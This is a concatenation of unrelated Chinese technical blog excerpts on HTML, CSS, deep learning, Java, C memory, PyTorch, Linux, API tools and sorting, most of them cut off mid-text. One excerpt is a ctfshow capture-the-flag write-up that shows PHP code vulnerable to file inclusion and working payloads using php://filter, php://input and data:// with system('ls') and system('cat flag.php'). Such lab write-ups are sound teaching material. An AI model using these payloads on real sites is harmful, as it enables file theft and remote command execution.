HTML基本语法学习

一、HTML简介 HTML的英文全称是 Hyper Text Markup Language,即超文本标记语言 最新的版本是HTML5,H5中新增了对音视频的支持。HTML是一个弱语言(对语法的要求不严格)。 www简称w3c,称为万维网联盟,该机构是制定web技术规范 . 二、HTML基本结构 1、网页基本结构 <!DOCTYPE>: <!DOCTYPE> 位于文档的第一行,用于向浏览器说明当前文档使用的是哪种 HTML 规范。 <!DOCTYPE html> 表示的是本文档 使用/遵循 HTML5 规范。 <html>:是紧接 <DOCTYPE> 之后的元素,它也被称为 根元素,因为它是整个 HTML 文件层次结构的顶点。 该元素以 <html> 标签开始,以 </html> 标签结束,其中『包含』文档的头部和体部。 <head>:用于定义 HTML 文档的头部信息,紧跟在 <html> 元素之后,主要用于封装其它位于文档头部的标记 <meta charset="UTF-8">:设置浏览器以哪种编码解析网页,编码不对网页内容会乱码 <meta name="viewport" content="width=device-width, initial-scale=1.0">:可视区域设置 <meta name="keywords" content="Java学习" />:设置搜索引擎关键字 <title>网页标题</title>:设置网页的标题 <body>:用于定义 HTML 文档所要显示的内容。 <body> 元素中的信息才是最终展示给用户的信息。一个 HTML 文档中只能有一个<body> 元素。 . 三、HTML常用标签 1、单标签元素与双标签元素 HTML 中的元素分为 单标签元素 和 双标签元素 . 2、文本标签 标题标签 <h1></h1> .

Web前端——CSS布局

文章目录 一. 文档流(normal flow)1. 定义2. 对于我们来说元素主要有两个状态3. 元素在文档流中有什么特点: 二. 盒子模型(box model)1. 定义2. 盒子模型边框设置(1). 在一条样式代码中同时对盒子的颜色、宽度、样式进行设置(2). 在一条样式代码中对四条边(某条边)的边框的某一属性进行设置 3. 盒子模型内边距(1). 设置盒子所有内边距属性(2). 单独为某一个内边距设置属性 4. 盒子模型外边距设置(1). 设置盒子所有外边距属性(2). 单独为某一个外边距设置属性 5. 盒子内容大小设置6. 行内元素的盒子模型 三. 盒子的布局1. 盒子的水平布局2. 盒子垂直方向布局3. 垂直外边距的重叠(1). 定义1. 合并的情况一2. 合并的情况二 (2). 垂直外边距合并发生的情况1. 相邻元素外边距合并2. 父子元素外边距合并 (3). 举例 4. 相邻盒子之间水平间距(1). 定义 四. 盒子的CSS排版1. 普通流排版(1). 网页元素分类1. 块级元素2. 行内元素3. 行内元素和块级元素的相互转换 (2). 普通流排版定义 2. 定位排版(1). 定义1. static2. relative3. absolute4. fixed 3. 浮动排版(1). 定义(2). 浮动设置(3). 浮动清除 五. 让页面具有默认样式的方式1. 自己手动修改2. 通过引入外部文件修改为默认样式 六. 常见网页布局版式1. 山中下一栏版式2.

【深度学习】将文本数据转换为张量的方法总结

目录 问题描述: 方法概括: 1.单词级的one-hot编码 2.字符级的one-hot编码 3.用keras实现单词级的one-hot编码 4.用散列技巧的单词级的one-hot1编码 参考: 问题描述: 深度学习模型不会接收原始文本作为输入,它只能处理数值张量。 文本向量化(vectorize)是指将文本转换为数值张量的过程。实现方法:①文本中的每个单词转换为一个向量.②文本中的每个字符转换为一个向量。 方法概括: 1.单词级的one-hot编码 代码展示 import numpy as np samples = ['The cat sat on the mat.', 'The dog ate my homework.'] #构建数据中被标记的索引 token_index = {} for sample in samples: #利用split方法进行分词 for word in sample.split(): if word not in token_index: # 为唯一单词指定唯一索引 token_index[word] = len(token_index) + 1 max_length = 10 #结果保存在result中 results = np.zeros((len(samples), max_length, max(token_index.values()) + 1)) for i, sample in enumerate(samples): for j, word in list(enumerate(sample.

Type-C保温杯取电方案

如今采用Type-C接口的产品可以说层出不穷,不管是手机,电脑,还是音箱,耳机,生活处处都可以看到Type-C接口的身影。未来的设备也在逐渐统一接口,让我们出门省去了带各种充电器的烦恼。 最近又有Type-C接口的新产品出现,那就是保温杯,这个生活中随处可见的东西,增加了Type-C接口究竟有什么神奇的作用?让我们一起探寻一下。 和常见的保温杯相比,外观、容量等方面的设计并不是这款产品的亮点。真正让笔者觉得有意思的是,这款水杯竟配备有USB-C接口,可连APP实现智能加热,功率最高可达65W。可以说,只要有电源,随时随地都能喝上热水,非常实用的设计。 保温杯采用Type-C接口确实方便了大家不少,第一Type-C接口的适配器和充电线基本大家都有,不用担心专用电源线坏了要重新买,第二Type-C接口是支持移动电源的(需要至少65W的充电宝),第三Type-C接口支持连接笔记本电脑的快充C口供电,比如雷电3这样高功率C口。 保温杯不仅可以加热保温,最人性化的功能是添加了蓝牙模块,让用户可以连接手机APP,在手机APP上控制温度,既精确又方便,再也不用担心冲泡奶粉的时候温度不易把控等问题。 接下来我们看看保温杯是如何通过Type-C接口连接电源供电的,首先不同的适配器输出规格也是不同的,PDO基本是5V,9V,12V,15V,20V,五个档位,当然还有PPS等等,取电需要充电协议的握手成功,意思就是保温杯里的UFP芯片与适配器里的DFP芯片要进行充电协议通讯才能取电。 我们了解到取电芯片用到的是LDR6328S。LDR6328S 是乐得瑞科技开发的一款兼容 USB PD、QC 和 AFC 协议的 Sink 控制器。 LDR6328S 从支持 USB PD、QC 和 AFC 协议的适配器取电,然后供电给设备。比如可以配置适配器输出需要的功率,给无线充电器设备供电。LDR6328S 也兼容传统 USB 电源适配器。 TYPE-C PD快充诱骗芯片,LDR6328S支持定制电压输出,它内置了PD通讯模块,通过与供电端(如PD充电器)的PD协议芯片握手通信,申请出需要的电压给产品供电,支持无线充,大功率小家电,智能家居,无人机快速充电等产品供电。 PD协议充电器与传统的QC充电器最大的区别就是,PD充电器采用了Type-C接口输出,PD协议需要CC脚、VBUS、GND、D+D-等脚位,它具有数据传输速度快,充电电流大,电压高等特点,还可以支持USB正反插,非常的便捷。 LDR6328S 的输入端为 USB Type-c 母座,连接适配器。CC1 用于 USB PD 协议通信,D+和 D-用于 QC 和 AFC 通信。 快充协议优先级为 PD>QC>AFC,即首选 PD,如果不支持 PD 就选择 QC。如果 QC 不支持就选 AFC。 部分参考原理图如下:

JAVA a++ 与 ++a的区别

Java中 a++ 和 ++a 的区别,想必很多初学者都搞不清这两者的区别! 相同点: 都是帮当前变量 +1; 不同点: a++ : 先参与程序的运行,后赋值+1给变量a;++a :先赋值+1给变量a, 后参与程序的运行; 举个例子来说: public static void main(String[] args) { int a = 1; System.out.println(a++); // 先参与程序的运行,而后才进行赋值,所以输出为 1; System.out.println(a); // 上一步操作已经+1; 所以输出为 2; System.out.println(++a); // 先进行赋值(先+1),后参与程序的运行,所以输出为 3; }

训练策略网络和价值网络

阿尔法狗2016版本使用人类高手棋谱数据初步训练策略网络,并使用深度强化学习中的REINFORCE算法进一步训练策略网络。策略网络训练好之后,使用策略网络辅助训练价值网络。零狗(AlphaGo Zero)使用MCTS控制两个玩家对弈,用自对弈生成的棋谱数据和胜负关系同时训练策略网络和价值网络。 在机巧围棋中,训练策略网络和价值网络的方法原理与零狗基本相同。 本文将详细讲解阿尔法狗2016版本和零狗中两个神经网络的训练方法。 1. 阿尔法狗2016版本的训练方法 2016年3月,阿尔法狗以4 : 1战胜了世界冠军李世石九段。赛前(2016年1月27日)DeepMind公司在nature上发表论文Mastering the game of Go with deep neural networks and tree search详细介绍了阿尔法狗的算法原理。 阿尔法狗的训练分为三步: 随机初始化策略网络 π ( a ∣ s ; θ ) \pi(a|s;\theta) π(a∣s;θ)的参数之后,使用行为克隆(Behavior Cloning)从人类高手棋谱中学习策略网络;让两个策略网络自我博弈,使用REINFORCE算法改进策略网络;使用两个已经训练好的策略网络自我博弈,根据胜负关系数据训练价值网络 v ( s ; ω ) v(s;\omega) v(s;ω)。 1.1 行为克隆 REINFORCE算法会让两个策略网络博弈直至游戏结束,使用游戏结束后实际观测到的回报 u u u对策略梯度中的动作价值函数 Q π Q_{\pi} Qπ​做蒙特卡洛近似,从而计算出策略梯度的无偏估计值,并做随机梯度上升更新策略网络参数。 一开始的时候,策略网络的参数都是随机初始化的。假如直接使用REINFORCE算法学习策略网络,会让两个随机初始化的策略网络博弈。由于策略网络的参数是随机初始化的,它们会做出随机的动作,要经过一个很久的随机摸索过程才能做出合理的动作。因此,阿尔法狗2016版本使用人类专家知识,通过行为克隆初步训练一个策略网络。 行为克隆是一种最简单的模仿学习,目的是模仿人的动作,学出一个随机策略网络 π ( a ∣ s ; θ ) \pi(a|s;\theta) π(a∣s;θ)。行为克隆的本质是监督学习(分类或回归),其利用事先准备好的数据集,用人类的动作指导策略网络做改进,目的是让策略网络的决策更像人类的决策。 在这个网站上可以下载到K Go Server(KGS,原名Kiseido Go Server)上大量6段以上高手玩家的对局数据,每一局有很多步,每一步棋盘上的格局作为一个状态 s k s_k sk​,下一个棋子的位置作为动作 a k a_k ak​,这样得到数据集 { ( s k , a k ) } \{(s_k,a_k)\} {(sk​,ak​)}。

百元优质TWS耳机推选,请关注努比亚新音C1耳机,定义蓝牙耳机新基准

如今蓝牙耳机已经成了智能手机的标配,运动、刷视频、打游戏没有个好用的TWS真的很影响玩手机的心情,如果你正在苦苦寻找一款性价比高的蓝牙耳机,努比亚新推出的新音C1耳机你可以关注下。 努比亚的手机已经被市场认可,得到了很多用户的青睐。在耳机产品方面,努比亚当然要延续其品牌价值,积极开拓新的市场卖点和周边生态,这种理念在新音C1耳机的产品设计和功能配置上得到了很好的体现。 一、外观方面 新音C1耳机盒小巧精致,握在手心里就像个鹅卵石,非常便于携带。边角进行了圆润化处理后充满了鹅卵石质感,不仅触感细腻,同时搭配极简的线条设计,使得这款耳机外表看起来有颜更有料。 不像其他耳机那样戴久了耳朵容易痛,新音C1耳机是半入耳式人体工学设计,整体小巧契合耳朵自然曲线,佩戴舒适又服帖,有很好的佩戴体验。 配色上采用莫兰迪色系,有珍珠白、薄荷绿、浅海蓝三款颜色可供你选择,每一款都足够时尚。 二、功能亮点 努比亚新音C1真无线蓝牙耳机主打行业新基准,所以有它独特的亮点之处。在入门级耳机同质化严重的情况下,努比亚在一款产品上精心打造综合体验,集中解决用户关注的传输、音质、续航的三个方面要素,体现了以用户为中心的理念,使用过后给人的感觉就是:这还是我了解的入门级耳机产品吗? 1、蓝牙5.3协议加强版,传输够快够稳,视听听体验感加倍 市场上的耳机多数是蓝牙5.0协议的,有些产品升级到了蓝牙5.2协议,而新音C1蓝牙耳机直接上新一代蓝牙5.3,比蓝牙5.0有5大方面的提升。整体兼容性高,芯片体积缩小50%,传输速度提升50%,连接范围提升75%,稳定性提升125%。 直接表现就是在玩儿游戏时拒绝卡顿,所听即所见。因为普通耳机延迟明显大约在140ms以上,常规耳机有轻微延迟在90-130ms以上,新音C1游戏延迟约在60ms几乎无感。 同时新音C1支持双路传输,双耳可以同步听歌接电话,游戏模式和音乐模式可以自由切换,开盖即连,传输稳定。 2、13mm大动圈单元复合振膜,可媲美千元级高品质音质 很多人购买高价格的蓝牙耳机主要追求的就是音质,这一点新音C1耳机做到了加量不加价。在二百元入门级产品中配置了13mm动圈喇叭,辅以高弹PU复合振膜,有效还原清澈细腻的人声器乐。 HIFI音效、高中低三频均衡、3D环绕你想要的,这些新音C1蓝牙耳机都有,不到二百元的价格拥有千元级耳机产品的音质享受。 3、8小时单次续航,配合充电仓可达到40小时综合续航 别看新音C1耳机体积小,但续航能力一点儿也不弱。首先待机续航可达400小时,单次续航可达8小时,搭配使用充电仓综合续航能达到40小时,坐高铁可以从北京到深圳,不会出现旅途耳机没电的烦恼。Type-c接口也方便生活工作旅途中充电使用。 三、其他方面 新音C1蓝牙耳机操控方便,触摸式交互操控,播放、控制音量、接听电话都很轻松。此外IPX4级防水,无论是生活、工作还是运动,都不用担心进水问题。 而这一款综合性能很高的新音C1蓝牙耳机,官方发售价才158元,还是那句话,如果你正在考虑入手一款TWS耳机,新音C1耳机值得你的关注!

2021年总结

说来惭愧,原计划这一年在技术上有个更好的发展,结果总去跳舞,就没怎么规划学习了。但是今年也拿下了计算机的证书,也算没有浪费时间吧。 📖书单 这一年技术上基本没看书,原计划的博客专家flag也没因为写博客不了了之。但是今年的考试很顺利,让我对工作之余的学习充满了信心。历时四年,终于考完了计算机专业所有的科目,拿下了计算机专业的学历证书。 今年的书单真是少的可怜(其实还看了《高等数学》、《考研词汇》这个不列入书单了凑数了🤦‍。) 新的一年,多读书多学习,积累更多的书单吧✊。 《Java源码》 🥇成绩 今年工作之余期间,考完了计算机的科目,拿下来计算机毕业证书。地铁上学习真的是很高效。继续努力! 💻工作 说实话有一点点焦虑,过了24岁的生日,感觉自己年龄越来越大,技术和管理都很一般。只能说能做好现在的工作,但并不突出。一方面又想非常熟悉项目,另一方面拓展自己的技术深度和广度。其实这之间也需要平衡一个点,项目忙的时候,专心在项目上。不忙的时候,开始拓展学习。 🐅熟悉整个项目的最佳实践: 全局观。 完成自己的开发任务后,看一下别人模块的代码,从看代码到对应业务需求,再到思考更好的实现方式,实现对业务的准确把控,对问题的快速定位,以及对整个项目架构整体的思考。达到不是自己负责的模块问题,也能轻松应对的效果。 🐅成长的最佳实践: 学习目标+思维导图。 记得去年特别喜欢画思维导图,制定了学习目标,看了很多书,也记录了很多知识点,现在回顾起来也是非常方便。但是今年却没做好总结,只是偶尔翻一番去年的思维导图。总结真的很有帮助,在看去年总结的时候,也会做一点点补充和思考。所以新的一年一定要继续努力呀,22年继续开启思维导图总结的一年! 💃舞蹈 跳了一年韩舞、爵士,能记住动作了,但是感觉和力量上还需要不断的学习。因为搬家,换了舞蹈室,在学韩舞、爵士的同时,可以继续学习古典舞了。加上之前跳古典一年,现在已经跳舞两年了,总结起来就是多跳舞,才能跳好。所以继续加油呀。 🎸吉他 弹吉他坚持不下去的原因,可能是因为没有一把好吉他。于是在生日的时候换了一把新吉他,果然好吉他的音色,让弹吉他更有动力了(其实一个月也就弹过两次🤦‍可能比之前吉他尘封着好些了吧(我安慰自己的))。总之有了新吉他的一年,还是很开心的。 💬碎碎念 这一年是挺神奇的一年,夏天的时候学会了饮食控制体重,加上跳舞锻炼,瘦了9斤,冬天基于肉多暖和的原理,又胖了回来。 这一年更清楚了自己想要的是什么,学会了利落、干脆的取舍,果然有舍才有得。 这一年读书少,总觉得脑袋里很空,零散听的书终究是不成体系的,所以还是得总结、归类,多读书、会读书。 ♥保持快乐,积极努力。

C语言的内存管理(堆,栈,代码段,数据段)

C语言的内存管理(堆,栈,代码段,数据段) 一、几个基本概念 在C语言中,关于内存管理的知识点比较多,如函数、变量、作用域、指针等,在探究C语言内存管理机制时,先简单复习下这几个基本概念: 1.变量:不解释。但需要搞清楚这几种变量类型: 全局变量(外部变量):出现在代码块{}之外的变量就是全局变量。 局部变量(自动变量):一般情况下,代码块{}内部定义的变量就是自动变量,也可使用auto显示定义。 静态变量:是指内存位置在程序执行期间一直不改变的变量,用关键字static修饰。代码块内部的静态变量只能被这个代码块内部访问,代码块外部的静态变量只能被定义这个变量的文件访问。 注意:extern修饰变量时,根据具体情况,既可以看作是定义也可以看作是声明;但extern修饰函数时只能是定义,没有二义性。 2.作用域:通常指的是变量的作用域,广义上讲,也有函数作用域及文件作用域等。我理解的作用域就是指某个事物能够存在的区域或范围,比如一滴水只有在0-100摄氏度之间才能存在,超出这个范围,广义上讲的“水”就不存在了,它就变成了冰或气体。 3.函数:不解释。 注意:C语言中函数默认都是全局的,可以使用static关键字将函数声明为静态函数(只能被定义这个函数的文件访问的函数)。 二、内存四区 计算机中的内存是分区来管理的,程序和程序之间的内存是独立的,不能互相访问,比如QQ和浏览器分别所占的内存区域是不能相互访问的。而每个程序的内存也是分区管理的,一个应用程序所占的内存可以分为很多个区域,我们需要了解的主要有四个区域,通常叫内存四区,如下图: 1.代码区 程序被操作系统加载到内存的时候,所有的可执行代码(程序代码指令、常量字符串等)都加载到代码区,这块内存在程序运行期间是不变的。代码区是平行的,里面装的就是一堆指令,在程序运行期间是不能改变的。函数也是代码的一部分,故函数都被放在代码区,包括main函数。 注意:"int a = 0;"语句可拆分成"int a;“和"a = 0”,定义变量a的"int a;"语句并不是代码,它在程序编译时就执行了,并没有放到代码区,放到代码区的只有"a = 0"这句。 2.静态区 静态区存放程序中所有的全局变量和静态变量。 3.栈区 栈(stack)是一种先进后出的内存结构,所有的自动变量、函数形参都存储在栈中,这个动作由编译器自动完成,我们写程序时不需要考虑。栈区在程序运行期间是可以随时修改的。当一个自动变量超出其作用域时,自动从栈中弹出。 每个线程都有自己专属的栈; 栈的最大尺寸固定,超出则引起栈溢出; 变量离开作用域后栈上的内存会自动释放。 Talk is cheap, show you the code: //实验一:观察代码区、静态区、栈区的内存地址 #include "stdafx.h" int n = 0; void test(int a, int b) { printf("形式参数a的地址是:%d\n形式参数b的地址是:%d\n",&a, &b); } int _tmain(int argc, _TCHAR* argv[]) { static int m = 0; int a = 0; int b = 0; printf("

将png/jpg图像数据集转四维tensor输入PyTorch

如果拥有了自己的数据集,首先需要考虑的就是将你的数据集输入到PyTorch当中去。如果你的数据是来自于网络(比如说,从Kaggle下载,从论文作者处获得,从某个数据集官方的网站进行下载), 那你遇见的原始数据格式可能是各种情况,最常见的是各类压缩文件、pt文件、数据库格式文件或者png/jpg/webp等原始图像。如果你的数据是来自于实验室、公司数据库、甚至是领导/导师给的数据, 那你的数据大概率都是csv/txt/mat等结构的二维数据表。无论我们的原始数据集是呈现什么样的格式,我们必须将其转换为四维的张量,数据才可以被卷积神经网络处理。对于任意压缩文件,先解压查看内部是什么内容。 这里详细说明从图像png/jpg到四维tensor 当你拥有的数据是一系列图像,并且每个标签对应的图像是存放在单独的文件夹中时,这种情况比较简单。在torchvision中存在直接将文件夹中的图片打包成tensor类的类ImageFolder,它的参数和torchvision.datasets中其他数据导入类的参数非常相似,其中root是你的原始图像所在的根目录,transform是你希望对图像执行的具体操作。 这个类可以接受.jpg、.jpeg、.png、.ppm、.bmp、.pgm、.tif、.tiff、.webp这9种不同的图片格式作为输入,并且还能够通过文件夹的分类自动识别标签。在你的根目录下,每个类别需要有一个单独的文件夹,而类别文件夹中可以存在多个子文件夹,或直接存放图片。图片的格式不需要统一,只要在ImageFolder可接受的9中格式中即可。 train_dataset有几种可以调用的属性,例如: train_dataset..classes #查看类别 train_dataset.targets #查看标签 train_dataset.imgs #查看具体的图像地址,返回所有图像的具体地址以及对应的标签 例如下面的例子: ImageFolder只能够读取根目录的子文件夹中的图片,并且一定会将子文件夹的名称作为类别。当根目录中只有一个子文件夹时,则对所有的图片标签都标注为0。当根目录中没有文件夹,而是直接存放图片时,则会直接报错。 使用ImageFolder读取后的数据是无法轻易更改标签的,这是因为ImageFolder继承自pytorch中的visiondataset类,标签在这个父类中生成,并与特征图一起被固定为一个元组(用来表示从特征到标签的映射)。我们可以通过ImageFolder的各种属性、或索引等方式调用出这个元组的一份复制来进行展示,却无法直接触及到元组中的数据本身,因此我们无法通过ImageFolder读取出的标签进行改变。因此,当数据不能按照类别进行下载时,一般不会用ImageFolder对数据进行读取,而会选择更加灵活的方式:自己写一个读取数据用的类。 CLASS torch.utils.data.Dataset 在PyTorch中存在一个专门帮助我们构筑数据集的类Dataset,这个类在torch.utils.data模块下,属于PyTorch中数据处理的经典父类之一(另一个我们总是使用的经典父类是nn.Module)。在PyTorch中,许多torchvision.datasets中读数据的类,以及TensotDataset这些合并张量来生成数据的类,都继承自Dataset。如果一个读取数据的类继承自Dataset,那它读取出的数据一定是可以通过索引的方式进行调用和查看的,而继承自其他父类的、读取数据集的功能却不一定能使用索引进行查看,这种性质让Dataset子类的构成也与其他类不同。 Dataset的使用还可以参考Dataset与DataLoder基本使用方法与数据集切分函数 Dataset中规定,如果一个子类要继承Dataset,则必须在子类中定义__getitem__()方法。从这个方法的名字可以看出,它是帮助我们“获取对象”的方法。这个方法中的代码必须满足三个功能: 1)读取单个图片并转化为张量 2)读取该图片对应的标签 3)将该图片的张量与对应标签打包成一个样本并输出 该样本的形式是一个元组,元组中的第一个对象是图像张量,第二个对象是该图像对应的标签。 Dataset类中包含自动循环__getitem__()并拼接其输出结果的功能。对于任意继承自Dataset的子类,只要我们恰当地定义了__getitem__(),该子类的输出就一定是打包好的整个数据集。我们可以根据数据的实际情况定义__getitem__(),可以说实现了最大程度上的灵活性。 如何使用继承自Dataset的类读取不同的图片和标签类别? 在写具体的类之前,我们可以先定义__getitem__()方法中要求的内容,试着读取一张图片并生成样本的元组。事实上,有大量的库中都包含能够将图像转化为像素值的函数,原则上我们可以使用任何说自己熟悉的函数,比如使用opencv中的cv.imread函数进行图像的读取或使用pytorch官方推荐的scikit-learn图像处理库scikit-image来进行处理。 1)若标签为identity时 2)若标签为属性时

【ctfshow】文件包含练习2

目录 web78 解法一 解法二 web79 解法一 解法二 web80 web81 web88 web78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 解法一 用include包含 /?file=php://filter/read=convert.base64-encode/resource=flag.php 解法二 php://input + POST web79 <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } 解法一 str_replace() 函数替换字符串中的一些字符(区分大小写) 解法二 str_replace:将php替换成???,因此php伪协议不能用了,换成data协议 data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== <?php system('ls'); ?>#flag.php index.php data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= <?php system('cat flag.php'); ?> web80 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("

Linux 面试宝典

Linux 面试宝典 Linux面试宝典 **Linux 面试宝典**一、计算机基础部分网络部分后续再不断更新…… 二、Linux基础部分Linxu文本处理三剑客文本处理三剑客之grep文本处理三剑客之sed文本处理三剑客之awk Linxu脚本部分Linxu的各种服务后续不断更新中…… 一、计算机基础部分 1.第一台计算机诞生的时间为:1946年。 2.冯诺依曼体系体系结构。 数字计算机的数制采用二进制,bit位,byte字节 1byte=8bit计算机应该按照顺序执行计算机硬件由运算器、控制器、存储器、输入设备和输出设备五大部分组成。 3.二进制和十进制转换。 二进制和十进制之间转换可根据下表操作。 2^0=1=1b2^1=2=10b2^2=4=100b2^3=8=1000b2^4=16=10000b2^5=32=100000b2^6=64=1000000b2^7=128=10000000b2^8=256=100000000b2^9=512=1000000000b2^10=1024=10000000000b 4.Unix的哲学思想? 一切都是一个文件(包括硬件)小型,单一用途的程序链接程序,共同完成复杂的任务避免令人困惑的用户界面配置数据存储在文件中 5.硬盘存储术语CHS: head:磁头 磁头数=盘面数track:磁道 磁道数=柱面数sector:扇区,512bytescylinder:柱面 1柱面=512sector数/trackhead数 大概8M 6.识别SSD和机械硬盘类型? 备注:1表示机械盘,0表示SSD盘 #lsblk -d -o name,rota NAME ROTA sda 1 sdb 1 sdc 1 7.MBR分区:使用32位表示扇区数,分区的磁盘不能超过2T。MBR分区中一块硬盘最多有4个主分区,也可以3主分区+1个扩展分区,多个逻辑分区。主分区和扩展分区对应的1-4,逻辑分区从5开始。 8.GPT分区,支持128个分区,使用64位,支持8Z UEFI统一可扩展固件接口,硬件支持GPT,是得操作系统可以使用。 9.管理磁盘常用命令: lsblk -->列出块设备 创建分区命令: fdisk:管理MBR分区 gdisk:管理GPT分区 parted:高级分区,可以是交互式或非交互式 注意:parted的操作都是实时生效的,小心使用。 partprobe:更新内存中的磁盘分区表版本,适用于处CentOS6以为的其他版本5,7,8 10.mount挂载: 默认权限相当于rw, suid, dev, exec, auto, nouser, async 挂载规则: 一个挂载点同一时间只能挂载一个设备 一个挂载点同一时间挂载了多个设备,只能看到最后一个设备的数据,其它设备上的数据将被隐藏 一个设备可以同时挂载到多个挂载点 通常挂载点一般是已存在空的目录 将挂载保存到 /etc/fstab 中可以下次开机时,自动启用挂载 11.swap交换分区: 创建交换分区或者文件使用mkswap写入特殊签名在/etc/fstab文件中添加适当的条目使用swapon -a 激活交换空间 swapon 启用交换分区。

apifox介绍及使用(1)。

一、apifox简介及下载: 1、apifox:是 API 文档、API 调试、API Mock、API 自动化测试一体化协作平台。 2、定位 :Postman + Swagger + Mock + JMeter。 3、下载与安装: 官网下载地址:https://www.apifox.cn/ 按照需要下载对应版本,下载完毕后解压安装即可。 二、apifox页面布局简介: 1、apifox几个简单概念: (1)团队:该工具支持团队协同办公,可以根据需要 创建不同的团队,在工具页面左侧,显示自己的团队,也可新建团队 新建团队,需要一个团队 名称: 创建成功团队后,可以邀请成员、设置权限等,或删除团队 有了团队,就可以开始我们接口的管理及测试工作了。 2、项目:apifox是以团队下项目来管理接口的,将所需接口维护在项目中,在不同的项目中对 接口进行维护及操作。 3、点击项目后进入项目,在该项目下管理接口。 (1)新建接口:维护接口信息,包括接口URL,接口基础信息,请求参数等,需要注意的是,此处只维护接口信息,类似于接口文档,不运行接口 接口URL,http协议及域名部分,建议设置在环境中,页面右上角选择环境处,可维护环境信息,因为我们在测试工作中,往往会有多个环境,将协议及域名维护在环境中,测试不同环境的同一个接口时,只需要切换环境即可,不用不同环境维护不同的接口。 对于需要cookie的接口,在维护接口时,请求参数中,别忘了维护cookie信息。 2、修改接口: 在接口管理-修改文档下,可修改已维护的接口信息 3、运行接口: 接口运行,往往是依据测试用例,在接口测试中,可以简单的认为不同的传值即为不同的测试用例,apifox中,运行接口的入口在项目中,接口管理-运行下,在此处修改参数值,点击发送后,可已看到返回信息,此外,可将运行数据保存为用例,保存成功后,此次运行的数据会保存,下次打开该用例,其中参数值可复用(注:运行接口时,需要选择环境)。 若设置了断言,可根据断言判断此条用例是否通过: 修改了参数值信息,需要点击保存才能更新成功,若不保参数值依然为修改前值。 测试用例显示在接口的下一级,可通过复制用例的方式,维护多个用例。 4、断言: 对测试用例,可以设置其断言,即期望结果,apifox在后置操作中进行断言 apifox断言核心为提取表达式,该提取表达式很简单,即将目标返回字段提取出来,$及为根节点,一级一级定位到目标字段即可 举个例子:若返回信息如下图所示,我想通过sort_finish字段值断言,则提取该字段的表达式为:$.data.sort_data.box_no 5、批量运行:apifox的批量运行,在自动化测试页面,可在该页面添加一个分组,在分组下添加测试用例,创建完测试用例后进入所创用例,即可添加步骤,此时可导入接口用例 导入用例后,可根据需要设置循环次数及线程数等信息,点击运行,即可批量执行,执行完成后,显示此次执行结果: 以上:为apifox基本使用功能,变量提取、套件使用等,待续~

React+wangEditor生成在线编辑工具

wangEditor富文本编辑器 关键字:React,wangEditor,在线编辑 如果需求中对在线编辑的要求不高,项目的侧重不在这,可以使用wangEditor富文本编辑器,便捷,用法与echarts相通。 wangEditor官网地址 基本使用 推荐wangEditor作者相关文章—— 50 行代码 React Hooks 中使用 wangEditor 富文本编辑器 首先需要安装@wangeditor/editor和@wangeditor/editor-for-react,npm,yarn,cnpm皆可。npm i @wangeditor/editor --save npm i @wangeditor/editor-for-react --save 安装引入后就可以简单使用import React, { useState, useEffect } from 'react' import '@wangeditor/editor/dist/css/style.css' import { Editor, Toolbar } from '@wangeditor/editor-for-react' const MyEditor = () => { const [editor, setEditor] = useState(null) // 存储 editor 实例 // `defaultContent` (JSON 格式) 和 `defaultHtml` (HTML 格式) 二选一 const defaultContent = [ { type: "paragraph", children: [{ text: "

向word文档中插入文字和图片

package com.xxxx; import com.deepoove.poi.XWPFTemplate; import com.deepoove.poi.data.PictureRenderData; import org.springframework.core.io.ClassPathResource; import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import javax.imageio.stream.FileImageOutputStream; import java.io.*; import java.util.HashMap; import java.util.Map; public class Text { public static void asd() { try { //待处理的图片 String imgFile = "D:/123.jpg"; //将图片转化成base64 InputStream in = null; byte[] data1; //读取图片字节数组 in = new FileInputStream(imgFile); data1 = new byte[in.available()]; in.read(data1); in.close(); //获取base64码转换成byte[]数组 byte[] bytes = new byte[0]; //对字节数组Base64编码 BASE64Encoder encoder = new BASE64Encoder(); //base64编码会自动换行 String imageData = encoder.

Win11解决应用程序字体太小

Win11解决应用程序字体太小 原因一般是 分辨率太高导致。 解决方法 右键属性选择兼容性更改DPI设置勾选替代高DPI缩放行为,注意要选择系统这个选项。 然后重新打开软件即可。

【python】sort函数的时间+空间复杂度(包括py内置.sort())

python有个内置的nums.sort()排序函数,其内部实现机制为:Timesort 最坏时间复杂度为:O(n log n) 空间复杂度为:O(n) 顺便整理一下其他的各种排序算法: 排序算法平均时间复杂度最好情况最坏情况空间复杂度排序方式稳定性插入排序O(n²)O(n)O(n²)O(1)In-place稳定冒泡排序O(n²)O(n)O(n²)O(1)In-place稳定选择排序O(n²)O(n²)O(n²)O(1)In-place不稳定快速排序O(n log n)O(n log n)O(n²)O(log n)In-place不稳定希尔排序O(n log n)O(n log n)O(n log n)O(1)In-place不稳定堆排序O(n log n)O(n log n)O(n log n)O(1)In-place不稳定归并排序O(n log n)O(n log n)O(n log n)O(n)Out-place稳定 直接插入排序: def insert_sort(array): for i in range(len(array)): for j in range(i): if array[i] < array[j]: array.insert(j, array.pop(i)) break return array 希尔排序: def shell_sort(array): gap = len(array) while gap > 1: gap = gap // 2 for i in range(gap, len(array)): for j in range(i % gap, i, gap): if array[i] < array[j]: array[i], array[j] = array[j], array[i] return array 选择排序: def select_sort(array): for i in range(len(array)): x = i # min index for j in range(i, len(array)): if array[j] < array[x]: x = j array[i], array[x] = array[x], array[i] return array 堆排序: def heap_sort(nums): # 调整堆 # 迭代写法 def adjust_heap(nums, startpos, endpos): newitem = nums[startpos] pos = startpos childpos = pos * 2 + 1 while childpos < endpos: rightpos = childpos + 1 if rightpos < endpos and nums[rightpos] >= nums[childpos]: childpos = rightpos if newitem < nums[childpos]: nums[pos] = nums[childpos] pos = childpos childpos = pos * 2 + 1 else: break nums[pos] = newitem # 递归写法 def adjust_heap(nums, startpos, endpos): pos = startpos chilidpos = pos * 2 + 1 if chilidpos < endpos: rightpos = chilidpos + 1 if rightpos < endpos and nums[rightpos] > nums[chilidpos]: chilidpos = rightpos if nums[chilidpos] > nums[pos]: nums[pos], nums[chilidpos] = nums[chilidpos], nums[pos] adjust_heap(nums, pos, endpos) def heap_sort(array): def heap_adjust(parent): 